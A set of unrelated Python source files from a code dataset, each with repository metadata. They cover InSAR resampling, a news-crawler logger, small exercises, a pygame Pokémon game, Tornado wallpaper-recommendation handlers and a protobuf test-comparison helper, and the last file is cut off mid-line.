azoffname = os.path.join( self.insar.offsetsDirname, self.insar.azimuthRubbersheetFilename)\n\n else:\n print('Using refined offsets for resampling sub-bands')\n azoffname = os.path.join( self.insar.offsetsDirname, self.insar.azimuthOffsetFilename)\n \n if self.doRubbersheetingRange:\n print('Using rubber in range sheeted offsets for resampling sub-bands')\n rgoffname = os.path.join( self.insar.offsetsDirname, self.insar.rangeRubbersheetFilename)\n else:\n print('Using refined offsets for resampling sub-bands')\n rgoffname = os.path.join( self.insar.offsetsDirname, self.insar.rangeOffsetFilename)\n# ****************** End of Modification\n \n # rgoffname = os.path.join( self.insar.offsetsDirname, self.insar.rangeOffsetFilename)\n azpoly = self.insar.loadProduct( os.path.join(self.insar.misregDirname, self.insar.misregFilename) + '_az.xml')\n rgpoly = self.insar.loadProduct( os.path.join(self.insar.misregDirname, self.insar.misregFilename) + '_rg.xml')\n\n\n imageSlc2 = os.path.join(self.insar.splitSpectrumDirname, self.insar.lowBandSlcDirname, \n os.path.basename(secondaryFrame.getImage().filename))\n\n wvlL = self.insar.lowBandRadarWavelength\n coregDir = os.path.join(self.insar.coregDirname, self.insar.lowBandSlcDirname)\n \n lowbandCoregFilename = resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, wvlL, coregDir,\n azoffname, rgoffname, azpoly=azpoly, rgpoly=rgpoly,misreg=False)\n\n imageSlc2 = os.path.join(self.insar.splitSpectrumDirname, self.insar.highBandSlcDirname,\n os.path.basename(secondaryFrame.getImage().filename))\n wvlH = self.insar.highBandRadarWavelength\n coregDir = os.path.join(self.insar.coregDirname, self.insar.highBandSlcDirname)\n\n highbandCoregFilename = resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, wvlH, coregDir, \n azoffname, rgoffname, azpoly=azpoly, rgpoly=rgpoly, misreg=False)\n\n self.insar.lowBandSlc2 = lowbandCoregFilename\n self.insar.highBandSlc2 = highbandCoregFilename\n \n","repo_name":"isce-framework/isce2","sub_path":"components/isceobj/StripmapProc/runResampleSubbandSlc.py","file_name":"runResampleSubbandSlc.py","file_ext":"py","file_size_in_byte":5961,"program_lang":"python","lang":"en","doc_type":"code","stars":431,"dataset":"github-code","pt":"82"}
+{"seq_id":"1950601808","text":"# coding: utf-8\n\nfrom News.database import Monitor\nfrom News.database import session\n\n\ndef _record_error_log(item, error):\n m = Monitor(\n crawl_url=item[\"crawl_url\"],\n original_url=item[\"original_url\"],\n crawl_source=item[\"crawl_source\"],\n original_source=item[\"original_source\"],\n channel=item[\"channel\"],\n error=error,\n )\n try:\n session.add(m)\n session.commit()\n except Exception as e:\n session.rollback()\n","repo_name":"xiaol/NewsCrawlerPG","sub_path":"News/test/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"40138059690","text":"'''Cree una función que retorne el número de palabras\npresentes en un String que le llega cómo parámetro.\n\n(obs: considere que toda palabra válida está separada\npor un espacio de la anterior)'''\n\ndef NumeroDePalabras():\n Oracion=input('Digite una oracion: ')\n\n if Oracion.isdigit():\n while True:\n print('No se admiten numeros...')\n Oracion=input('Digite una oracion: ')\n if not Oracion.isdigit():\n break\n\n espacios=Oracion.split(' ')\n print(len(espacios))\n\n\nNumeroDePalabras()","repo_name":"JPerez1005/Python","sub_path":"C/C1/Practicas Homework/5Funciones/NumeroDePalabras.py","file_name":"NumeroDePalabras.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"34223387221","text":"FONT = (\"--X--XXX-XXX-X-X-XXX--XX-XXX-XXX--XX-XX--\"\n \"-XX----X---X-X-X-X---X-----X-X-X-X-X-X-X-\"\n \"--X---XX--X--XXX-XX--XXX--X--XXX-XXX-X-X-\"\n \"--X--X-----X---X---X-X-X-X---X-X---X-X-X-\"\n \"--X--XXX-XXX---X-XX---XX-X---XXX-XX---XX-\")\n\nfrom pprint import pprint \n\ndef divide_font(FONT):\n numbers = [FONT[num:num+40] for num in range(0,len(FONT), 41)]\n #pprint (numbers)\n num_arr = []\n for i in range(0,len(numbers[0]),4):\n a = [j[i:i+4] for j in numbers]\n a = [j for i in a for j in i]\n a = map(lambda x : 0 if x == '-' else 1, a)\n num_arr.append(a)\n #pprint(a)\n #print '\\n'\n #pprint(num_arr)\n #print len(num_arr)\n last = num_arr.pop()\n num_arr.insert(0, last)\n #num_arr[-1] + num_arr[:-1] \n pprint (num_arr)\n return num_arr\n\ndef checkio(image):\n num_img = ''\n numbers = divide_font(FONT)\n for i in range(0,len(image[0])-1,4):\n num = [j[i:i+4] for j in image]\n num = [j for i in num for j in i]\n #print num \n #print '\\n'\n for j,i in enumerate(numbers):\n #sum(k[0]!=k[1] for k in zip(num,i))\n if sum(k[0]!=k[1] for k in zip(num,i)) < 2 :\n #print sum(k[0]!=k[1] for k in zip(num,i))\n #print zip(num,i) \n #print 'bingo'\n #print j+1\n num_img += str(j)\n #print num_img\n return int(num_img)\n\nif __name__ == '__main__':\n #These \"asserts\" using only for self-checking and not necessary for auto-testing\n assert checkio([[0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0],\n [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],\n [0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],\n [0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0],\n [0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0]]) == 394, \"394 clear\"\n assert checkio([[0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0],\n [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],\n [0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0],\n [0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0],\n [0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0]]) == 394, \"again 394 but with noise\"\n","repo_name":"a1ip/checkio-17","sub_path":"mono-captcha.py","file_name":"mono-captcha.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"41519780965","text":"#!/usr/bin/python\nprint('Content-type: text/html\\n')\n\n'''\n\nSynergetic Lite\n\nremovePeriodReservation.py\n\nAllows the user to \"un-reserve\" a period for all students and teachers in a class.\n\nBy Nick Patrikeos on 22DEC17\n\n'''\n\nimport cgi\nimport cgitb; cgitb.enable()\nimport sqlite3\nfrom dbFunctions import *\nimport random\n\nform = cgi.FieldStorage()\nperiodNum = form.getvalue('periodNum')\nclassID = form.getvalue('classID')\nvalues = {'classID':classID, 'periodNum':periodNum}\n\ndb = sqlite3.connect('synergetic.db')\ncursor = db.cursor()\ncursor.execute('PRAGMA foreign_keys = ON')\n\ncursor.execute('SELECT Teacher FROM Classes WHERE Class_ID = :classID', values)\nteacherID = cursor.fetchall()[0][0]\n\nprint('')\n\ncursor.execute('DELETE FROM TeacherPeriods WHERE Class = :classID AND Period_Num = :periodNum', values)\n\ncursor.execute('SELECT Student FROM Enrolments WHERE Class = :classID', values)\nstudents = [i[0] for i in cursor.fetchall()]\n\nfor student in students:\n values['studentID'] = student\n cursor.execute('DELETE FROM StudentPeriods WHERE Class = :classID AND Student = :studentID AND Period_Num = :periodNum', values)\n\n\nprint('')\ndb.commit()\ndb.close()\n","repo_name":"NicktheGreek1985/PythonCGIProjects","sub_path":"Synergetic Lite/removePeriodReservation.py","file_name":"removePeriodReservation.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"30672563012","text":"\r\nimport random\r\nimport pygame\r\nimport math\r\nfrom pygame import mixer\r\n\r\npygame.init()\r\nmixer.init()\r\n\r\n# create the screen\r\nscreen=pygame.display.set_mode((800,600))\r\n#icon and title\r\npygame.display.set_caption(\"pokecapture\")\r\nicon=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pokeball.png\")\r\npygame.display.set_icon(icon)\r\n\r\n#background\r\nbg=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bg1.png\")\r\n\r\n# player\r\npokeball=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pokeball.png\")\r\nplayerImg=pokeball\r\nplayerX=374\r\nplayerY=536\r\nplayerX_change=0\r\ndef player(x,y):\r\n screen.blit(playerImg,(x,y))\r\n#sound\r\nmixer.music.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bgsound.wav\")\r\nmixer.music.play(-1)\r\n #score\r\nscore=0\r\nfont=pygame.font.SysFont('inkfree.ttf',40)\r\ntextX=10\r\ntextY=10\r\n\r\ndef show_score():\r\n score1=font.render('SCORE:'+str(score),True, (0,0,0))\r\n screen.blit(score1,(30,30))\r\n#pokemons\r\nbullbasaur=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\bullbasaur.png\")\r\ncharmander=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\charmander.png\")\r\ndratini=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\dratini.png\")\r\neevee=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\eevee.png\")\r\njigglypuff=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\jigglypuff.png\")\r\nmeowth=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\meowth (2).png\")\r\npikachu=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\pikachu.png\")\r\npsyduck=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\psyduck.png\")\r\nsnorlax=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\snorlax.png\")\r\nsquirtle=pygame.image.load(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\squirtle.png\")\r\npoke=[bullbasaur,charmander,dratini,eevee,jigglypuff,meowth,pikachu,psyduck,snorlax,squirtle]\r\n\r\npokeImg=[meowth,pikachu]\r\npokeX=[]\r\npokeY=[]\r\npokeY_change=[1,1]\r\nfor i in range(8):\r\n n=random.randint(0,9)\r\n poke1=poke[n]\r\n pokeImg.append(poke1)\r\n pokeX.append(random.randint(0,768))\r\n pokeY.append(random.randint(-80,400))\r\n \r\n pokeY_change.append(1)\r\nfor i in range (2):\r\n pokeX.append(random.randint(0,768))\r\n pokeY.append(random.randint(-80,400))\r\ndef pokemon(x,y,i,l):\r\n screen.blit(l[i],(x,y))\r\n#collision\r\ndef collision(x,y,playerX,playerY):\r\n dist=math.sqrt((math.pow(x-playerX,2))+(math.pow(y-playerY,2)))\r\n if dist<=27:\r\n return True\r\n\r\n#game over\r\nover_font=pygame.font.SysFont('inkfree.ttf',60)\r\ndef gameover():\r\n overtext=over_font.render(\"GAME OVER\",True,(0,0,0))\r\n screen.blit(overtext,(190,300))\r\n screen.blit(pokeball,(130,400))\r\n#game loop\r\n\r\nrunning=True\r\nwhile running:\r\n \r\n screen.fill((0,0,0))\r\n screen.blit(bg,(0,0))\r\n for event in pygame.event.get(): \r\n if event.type==pygame.QUIT:\r\n running=False\r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_LEFT:\r\n playerX_change=-3\r\n if event.key==pygame.K_RIGHT:\r\n playerX_change=3\r\n if event.type==pygame.KEYUP:\r\n playerX_change=0\r\n \r\n playerX+=playerX_change\r\n if playerX<=0:\r\n playerX=0\r\n elif playerX>=736:\r\n playerX=736\r\n player(playerX,playerY)\r\n#show score\r\n \r\n for i in range(10):\r\n pokeY[i]+=pokeY_change[i]\r\n \r\n pokemon(pokeX[i],pokeY[i],i,pokeImg)\r\n col=collision(pokeX[i],pokeY[i],playerX,playerY)\r\n\r\n if pokeY[i]>=600:\r\n pokeY[i]=random.randint(-20,40)\r\n pokeX[i]=random.randint(0,768)\r\n if col:\r\n char=pokeImg[i]\r\n if char==pikachu:\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n score+=5\r\n elif char==meowth:\r\n for i in range(10):\r\n screen.fill((34,34,34))\r\n gameover()\r\n \r\n running=False\r\n else:\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n \r\n score+=5\r\n np=random.randint(0,9)\r\n pokeX[i]=random.randint(0,736)\r\n pokeY[i]=random.randint(0,40)\r\n pokemon(pokeX[i],pokeY[i],np,poke)\r\n cap=mixer.Sound(\"C:\\\\users\\\\khuhan rawat\\\\Desktop\\\\pokemon\\\\capture.wav\")\r\n cap.play()\r\n \r\n show_score()\r\n\r\n\r\n#Run=True\r\n\r\n \r\n\r\n pygame.display.update()\r\n","repo_name":"Mystic-miracle/Pokecapture","sub_path":"G!.py","file_name":"G!.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2999263502","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport re\nimport urllib\nimport json\nimport base64\nimport random\nimport datetime\nimport tornado\nfrom db import mongo\nfrom db import live_mongo\nfrom db import theme_mongo\nfrom pymongo import DESCENDING, ASCENDING\nfrom bson import objectid\nfrom libs import BaseHandler\nfrom conf import config\n\nnewlist = ['4e4d610cdf714d2966000002','4fb479f75ba1c65561000027','4e4d610cdf714d2966000003','4fb47a305ba1c60ca5000223','4ef0a35c0569795756000000','4e4d610cdf714d2966000001'] #风景、视觉、动漫、城市、情感、动物\nhotlist = ['4e4d610cdf714d2966000000','4e4d610cdf714d2966000002','4fb479f75ba1c65561000027','4fb47a465ba1c65561000028','4e4d610cdf714d2966000006','4e58c2570569791a19000000'] #美女、风景、视觉、物语、男人、影视\n\n\nclass CommendHandler(BaseHandler):\n def get(self):\n weekpaper = None #recommend paper at week\n weeklive = None # recommend live at week\n adimage = None\n\n #newest paper\n nlist = []\n for i in newlist:\n cid = objectid.ObjectId(i)\n img = mongo.image.find({'cid':cid},limit=1).sort('atime', DESCENDING)\n if img.count()>0:\n nlist.append(img[0])\n\n #hot paper\n try:\n _imglist, length = self.hot_image_cache.find_list(config.Cache.hot_image_cache, 0, 5)\n if _imglist:\n imglist = [json.loads(i) for i in _imglist]\n else:\n imglist = mongo.image.find(limit=6,skip=0).sort('rank',DESCENDING)\n except:\n imglist = mongo.image.find(limit=6,skip=0).sort('rank',DESCENDING)\n\n self.render(\"commend.html\",\n context=self.context,\n news=nlist,\n hots=imglist,\n )\n\n\nclass NewCommendHandler(BaseHandler):\n def get(self):\n self.render(\"newcommend.html\",\n context=self.context,\n )\n\nclass MoreNewPaperHandler(BaseHandler):\n def get(self):\n limit = 18\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n imglist = mongo.image.find(limit=limit,skip=skip).sort('atime',DESCENDING)\n images = []\n index = skip\n for i in imglist:\n if not self.session.hd:\n netimg = str(i['thumb_fobj'])\n elif self.session.net=='pc':\n netimg = str(i['fobjs']['640x480'])\n else: # self.session.net=='wifi':\n netimg = str(i['fobjs']['160x120'])\n\n images.append({\n 'id':str(i['_id']),\n 'image':netimg,\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':images})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass MoreNewLiveHandler(BaseHandler):\n def get(self):\n limit = 9 \n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n apklist = live_mongo.apk.find(skip=skip,limit=limit).sort('atime',DESCENDING)\n lives = []\n index = skip\n for i in apklist:\n lives.append({\n 'id':str(i['_id']),\n 'thumbid':str(i['thumbid'][0]),\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':lives})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass NewPaperDetailHandler(BaseHandler):\n def get(self):\n imgid = self.get_argument(\"imgid\",default=None)\n _skip = self.get_argument(\"skip\",default=0)\n ctype = self.get_argument(\"type\",default=\"date\")\n showmsg = self.session.show_msg\n self.session.show_msg = None\n\n try:\n skip=int(_skip)\n if skip < 0:\n skip = 0\n _skip = None\n except:\n skip=0\n\n img=None\n read_from_cache = False\n\n try:\n if _skip:\n if ctype=='date':\n img = mongo.image.find(skip=skip,limit=1).sort('atime',DESCENDING)[0]\n else:\n try:\n img = self.hot_image_cache.find_one(config.Cache.hot_image_cache, skip)\n if img:\n read_from_cache = True\n img = json.loads(img)\n else:\n img = mongo.image.find(skip=skip,limit=1).sort('rank',DESCENDING)[0]\n except:\n img = mongo.image.find(skip=skip,limit=1).sort('rank',DESCENDING)[0]\n\n else:\n iid = objectid.ObjectId(imgid)\n img = mongo.image.find_one({'_id':iid})\n if not img:\n raise\n except:\n raise\n return self.notfound()\n\n front = skip - 1\n end = skip + 1\n\n if not read_from_cache:\n if end>=mongo.image.count():\n end = -1\n else:\n if not self.hot_image_cache.find_one(config.Cache.hot_image_cache, end):\n end = -1\n\n if _skip == None:\n front = -1\n end = -1\n\n referer = urllib.quote(self.request.uri)\n isfav=-1\n if self.session.uid:\n pri=mongo.private.find_one({'uid':self.session.uid,'imgid': img['_id']})\n if pri:\n isfav=1\n else:\n isfav=0\n\n tags = mongo.img2tag.find({'imgid': objectid.ObjectId(img['_id'])}).sort('num', DESCENDING)\n tags = [i for i in tags]\n self.render(\"compaper_detail.html\",\n context=self.context,\n image=img,\n front=front,\n end=end,\n isfav=isfav,\n referer=referer,\n tags=tags,\n message=showmsg,\n type=ctype,\n )\n\nclass NewLiveDetailHandler(BaseHandler):\n def get(self):\n apkid = self.get_argument(\"apkid\",default=None)\n skip = self.get_argument(\"skip\",default=0)\n ctype = self.get_argument(\"type\", default=\"date\")\n\n try:\n skip=int(skip)\n except:\n skip=0\n\n apk=None\n try:\n if apkid==None:\n if ctype=='date':\n apks=live_mongo.apk.find(skip=skip,limit=1).sort('atime',DESCENDING)\n else:\n apks=live_mongo.apk.find(skip=skip,limit=1).sort('rank',DESCENDING)\n\n try:\n apk=apks[0]\n pid=apk['_id']\n except:\n raise\n else:\n pid = objectid.ObjectId(apkid)\n apk = live_mongo.apk.find_one({'_id':pid})\n if not apk:\n raise\n except:\n return self.notfound()\n\n #cal mark\n marks = live_mongo.mark2apk.find({'apkid':apk['_id']})\n msum = 0.0\n mcount = 0\n for m in marks:\n msum += m['mark']\n mcount += 1\n score = 0\n if mcount>0:\n score = round(msum/mcount)\n score = int(score)\n\n\n front = skip-1\n end = skip+1\n if end>=live_mongo.apk.count():\n end = -1\n\n referer = urllib.quote(self.request.uri)\n isfav=-1\n if self.session.uid:\n pri=live_mongo.private.find_one({'uid':self.session.uid,'apkid':pid})\n if pri:\n isfav=1\n else:\n isfav=0\n\n self.render(\"comlive_detail.html\",\n context=self.context,\n apk=apk,\n front=front,\n end=end,\n favstate=isfav,\n referer=referer,\n score=score,\n amount=mcount,\n type=ctype,\n )\n\nclass HotCommendHandler(BaseHandler):\n def get(self):\n self.render(\"hotcommend.html\",\n context=self.context,\n )\n\nclass MoreHotPaperHandler(BaseHandler):\n def get(self):\n limit = 18\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n try:\n _imglist, length = self.hot_image_cache.find_list(config.Cache.hot_image_cache, skip, limit-1)\n if _imglist:\n imglist = [json.loads(i) for i in _imglist]\n else:\n imglist = mongo.image.find(limit=limit,skip=skip).sort('rank',DESCENDING)\n except:\n imglist = mongo.image.find(limit=limit,skip=skip).sort('rank',DESCENDING)\n\n\n images = []\n index = skip\n for i in imglist:\n if not self.session.hd:\n netimg = str(i['thumb_fobj'])\n elif self.session.net=='pc':\n netimg = str(i['fobjs']['640x480'])\n else: # self.session.net=='wifi':\n netimg = str(i['fobjs']['160x120'])\n\n images.append({\n 'id':str(i['_id']),\n 'image':netimg,\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':images})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\nclass MoreHotLiveHandler(BaseHandler):\n def get(self):\n limit = 9\n skip = self.get_argument(\"skip\",default=0)\n try:\n skip = int(skip)\n except:\n skip = 0\n\n apklist = live_mongo.apk.find(skip=skip,limit=limit).sort('rank',DESCENDING)\n lives = []\n index = skip\n for i in apklist:\n lives.append({\n 'id':str(i['_id']),\n 'thumbid':str(i['thumbid'][0]),\n 'skip':index\n })\n index += 1\n\n self._buffer = json.dumps({'code':0,'resp':lives})\n callback = self.get_argument('jsoncallback', default=None)\n if callback:\n self._buffer = \"%s(%s)\" % (callback,self._buffer)\n self.write(self._buffer)\n\n","repo_name":"zytjm/tornado-mongo-based-webserver","sub_path":"mobile_server/app/commend.py","file_name":"commend.py","file_ext":"py","file_size_in_byte":10616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"28785151500","text":"import copy\nfrom typing import Optional, Union\nimport unittest\nfrom google.protobuf import descriptor\nfrom google.protobuf import message\nfrom google.protobuf import text_format\n\n\ndef _clear_field(proto: message.Message, field_path: str) -> None:\n \"\"\"Clears field_path in proto.\n\n field_path contains field names separated by '.' into the proto, e.g.,\n my_sub_message.my_repeated_field.my_field.\n A field is removed by calling ClearField.\n\n Args:\n proto: A proto message to be modified.\n field_path: The path to the field to be cleared.\n \"\"\"\n\n next_field_name, _, path_suffix = field_path.partition(\".\")\n if next_field_name not in proto.DESCRIPTOR.fields_by_name:\n raise ValueError(\n f\"Field {next_field_name} in field path {field_path} does not refer to\"\n f\" a known field for message {proto.DESCRIPTOR.full_name}.\"\n )\n\n # root case, field_path was just a field\n if not path_suffix:\n proto.ClearField(next_field_name)\n return\n\n # next_field can refer to:\n # - a submessage (or oneof of submessages)\n # - a repeated field of messages\n next_field: descriptor.FieldDescriptor = proto.DESCRIPTOR.fields_by_name[\n next_field_name\n ]\n if next_field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n raise ValueError(\n f\"Field {next_field_name} in field path {field_path} does not refer to\"\n f\" a message field for message {proto.DESCRIPTOR.full_name}.\"\n )\n\n if next_field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n sub_field_list = getattr(proto, next_field_name)\n for sub_message in sub_field_list:\n _clear_field(sub_message, path_suffix)\n return\n\n if not proto.HasField(next_field_name):\n return\n sub_message = getattr(proto, next_field_name)\n _clear_field(sub_message, path_suffix)\n\n\ndef _sort_repeated_fields(proto: message.Message, deduplicate: bool) -> None:\n \"\"\"Sorts all repeated fields including in submessages.\n\n This is typically called to have a canonical order of repeated fields in the\n message for comparison. Thus no particular order is guaranteed, but only that\n the order is deterministic for multiple calls on equal messages.\n\n Args:\n proto: A proto message to be modified.\n deduplicate: Determines if duplicate elements in repeated fields should be\n removed.\n \"\"\"\n\n # recurse first, then sort\n field: descriptor.FieldDescriptor\n for field in proto.DESCRIPTOR.fields:\n if field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n continue\n # At this point field can be\n # - just a single message\n # - a repeated field (list) of messages\n # - a map to a scalar value\n # - a map to message values\n if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n sub_field_list = getattr(proto, field.name)\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n and field.message_type.fields_by_name[\"value\"].type\n != descriptor.FieldDescriptor.TYPE_MESSAGE\n ):\n # this is a map to build in types (not to message) - nothing to recurse\n continue\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n # this is a map to messages\n for _, sub_message in sub_field_list.items():\n _sort_repeated_fields(sub_message, deduplicate)\n else:\n # this is just a repeated field of messages\n for sub_message in sub_field_list:\n _sort_repeated_fields(sub_message, deduplicate)\n elif proto.HasField(field.name):\n # a single message field\n sub_message = getattr(proto, field.name)\n _sort_repeated_fields(sub_message, deduplicate)\n\n # now, sort each field, where sub-fields are already sorted (and thus\n # canonical)\n for field in proto.DESCRIPTOR.fields:\n if field.label != descriptor.FieldDescriptor.LABEL_REPEATED:\n continue\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_MESSAGE\n and field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n continue # do not sort maps\n\n sub_field_list = getattr(proto, field.name)\n if not sub_field_list:\n continue\n\n if field.type == descriptor.FieldDescriptor.TYPE_MESSAGE:\n key_fn = text_format.MessageToString\n else:\n key_fn = lambda x: x\n sub_field_list.sort(key=key_fn)\n sub_field_list_no_duplicates = []\n prev = None\n for sub_msg in sub_field_list:\n if not deduplicate or (prev is None or key_fn(prev) != key_fn(sub_msg)):\n sub_field_list_no_duplicates.append(sub_msg)\n prev = sub_msg\n del sub_field_list[:]\n sub_field_list.extend(sub_field_list_no_duplicates)\n\n\ndef _floats_in_tolerance(value_a: float, value_b: float, rtol: float) -> bool:\n return abs(value_a - value_b) <= rtol * max(abs(value_a), abs(value_b))\n\n\ndef _equalize_floats_in_tolerance(\n proto_a: message.Message, proto_b: message.Message, rtol: float\n) -> None:\n \"\"\"Replaces all floats in proto_a with floats from proto_b, if both are in rtol.\n\n All equivalent floating point values (floats and doubles) in proto_a will be\n replaced by the exact values from proto_b, such that there will be no more\n difference between these two messages regarding floats within rtol. This is\n typically called to facilitate a readable diff including non-float fields.\n\n Args:\n proto_a: A proto message to be modified.\n proto_b: A given proto message.\n rtol: A relative tolerance defining if the floats are considered equivalent.\n rtol is considered as a proportion of the float with the larger magnitude.\n \"\"\"\n if proto_a.DESCRIPTOR != proto_b.DESCRIPTOR:\n return\n\n # Relevant fields to be handled by this function.\n # Directly:\n # - floats (float and double)\n # - repeated floats\n # - map to float\n # By recursion:\n # - message fields\n # - repeated messages\n # - map to messages\n proto_a_field_names = set(fd.name for fd, _ in proto_a.ListFields())\n proto_b_field_names = set(fd.name for fd, _ in proto_b.ListFields())\n for field_name in proto_a_field_names.intersection(proto_b_field_names):\n field: descriptor.FieldDescriptor = proto_a.DESCRIPTOR.fields_by_name[\n field_name\n ]\n\n value_a = getattr(proto_a, field.name)\n value_b = getattr(proto_b, field.name)\n\n if (\n field.type == descriptor.FieldDescriptor.TYPE_FLOAT\n or field.type == descriptor.FieldDescriptor.TYPE_DOUBLE\n ):\n if field.label != descriptor.FieldDescriptor.LABEL_REPEATED:\n # field is just a float\n if _floats_in_tolerance(value_a, value_b, rtol):\n setattr(proto_a, field.name, value_b)\n else:\n # field is a list of floats\n for index in range(min(len(value_a), len(value_b))):\n if _floats_in_tolerance(value_a[index], value_b[index], rtol):\n value_a[index] = value_b[index]\n\n if field.type != descriptor.FieldDescriptor.TYPE_MESSAGE:\n continue\n\n if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:\n if (\n field.message_type.has_options\n and field.message_type.GetOptions().map_entry\n ):\n value_type = field.message_type.fields_by_name[\"value\"]\n # field is a map\n for key, mapped_value_a in value_a.items():\n mapped_value_b = value_b.get(key)\n if mapped_value_b is None:\n continue\n if (\n value_type.type == descriptor.FieldDescriptor.TYPE_FLOAT\n or value_type.type == descriptor.FieldDescriptor.TYPE_DOUBLE\n ):\n # field is a map to floats\n if _floats_in_tolerance(mapped_value_a, mapped_value_b, rtol):\n value_a[key] = mapped_value_b\n elif value_type.type == descriptor.FieldDescriptor.TYPE_MESSAGE:\n # field is a map to messages - recurse\n _equalize_floats_in_tolerance(\n mapped_value_a, mapped_value_b, rtol=rtol\n )\n else:\n # field is a list of messages - recuse\n for sub_message_a, sub_message_b in zip(value_a, value_b):\n _equalize_floats_in_tolerance(sub_message_a, sub_message_b, rtol=rtol)\n else:\n # field is just a single message - recurse\n _equalize_floats_in_tolerance(value_a, value_b, rtol=rtol)\n\n\n# pylint:disable-next=invalid-name\ndef assertProto2Equal(\n testobj: unittest.case.TestCase,\n proto_a: Union[message.Message, str, bytes],\n proto_b: message.Message,\n *,\n ignored_fields: Optional[list[str]] = None,\n rtol: Optional[float] = None,\n) -> None:\n \"\"\"Asserts that two protos are equal.\n\n Args:\n testobj: The test case that called this comparison.\n proto_a: A proto to compare.\n proto_b: A proto to compare to.\n ignored_fields: List of field paths into the proto to be ignored during\n comparison.\n rtol: Relative tolerance to compare floating point values. If not set,\n floats are compared using string comparison.\n \"\"\"\n\n if isinstance(proto_a, str | bytes):\n proto_a = text_format.Parse(proto_a, proto_b.__class__())\n\n copied = False\n if ignored_fields is not None:\n proto_a = copy.deepcopy(proto_a)\n proto_b = 